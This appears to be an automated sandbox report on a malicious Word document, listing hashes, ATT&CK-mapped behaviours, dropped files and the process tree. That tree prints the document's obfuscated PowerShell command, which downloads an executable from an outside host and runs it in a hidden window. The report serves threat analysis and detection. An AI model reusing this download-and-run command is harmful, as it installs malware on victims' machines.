5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a

General

Target

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc
Size

69KB
MD5

2d9d347f7fa64d7b91025e2a12bc11a3
SHA1

29bbc0501fb019c55c57a280d89c18fb74af1777
SHA256

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a
SHA512

e4d5eadfda1b58e9181fca515b90a7d92047c0026305b013d03a4066dfb5d3f0b3f1806c987624b19adfd4d776fb152a82fa85d176c8b78341bc132f7e3a3d72
SSDEEP

768:Z45GzFf7SckrjwoLMkk6hc1r8OLoTWnXeJ75yrWj89y/qBj1Ix:Z/Rf7S8oLVkicpLdTrWj1qBBq

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1824	3232	cmd.exe	81

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5104	powershell.exe
5104	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3232	WINWORD.EXE
3232	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5104	powershell.exe
5104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3232	WINWORD.EXE
3232	WINWORD.EXE
3232	WINWORD.EXE
3232	WINWORD.EXE
3232	WINWORD.EXE
3232	WINWORD.EXE
3232	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 1824	3232	WINWORD.EXE	85
PID 3232 wrote to memory of 1824	3232	WINWORD.EXE	85
PID 1824 wrote to memory of 5104	1824	cmd.exe	87
PID 1824 wrote to memory of 5104	1824	cmd.exe	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE '%ApPdAtA%\vnomt.exe' ; iNVOkE-ITeM '%APPDAtA%\vnomt.exe'
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE 'C:\Users\Admin\AppData\Roaming\vnomt.exe' ; iNVOkE-ITeM 'C:\Users\Admin\AppData\Roaming\vnomt.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDBEF3.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i52mvbx4.oh2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
3d5d92c5e7848923adffaad90fe01294

SHA1
702d5beb9c2ad0249a9444ae0b90eb3db5a00c1f

SHA256
b3a4122c2a218d00bde679dec01f900153a6e110b5c9453e2e5ccaa1d4ce4f45

SHA512
024441cdfd0c5b5eb175f458a45b1cdef5b3678947d4a34e5020a1a80cdfb19cf414009359de545b09efe4925c8bbc0475c407182fad6ce1ef7887bbbd5c8493

Download Submit
memory/3232-18-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-19-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-4-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-10-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-9-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-11-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-12-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

Filesize
64KB

Download
memory/3232-8-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-13-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-14-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-15-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

Filesize
64KB

Download
memory/3232-0-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-20-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-3-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-17-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-16-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-7-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-6-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-59-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-5-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-2-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-101-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-102-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

Filesize
4KB

Download
memory/3232-103-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-104-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-1-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

Filesize
4KB

Download
memory/3232-113-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/5104-95-0x000001EA65A90000-0x000001EA65AB2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads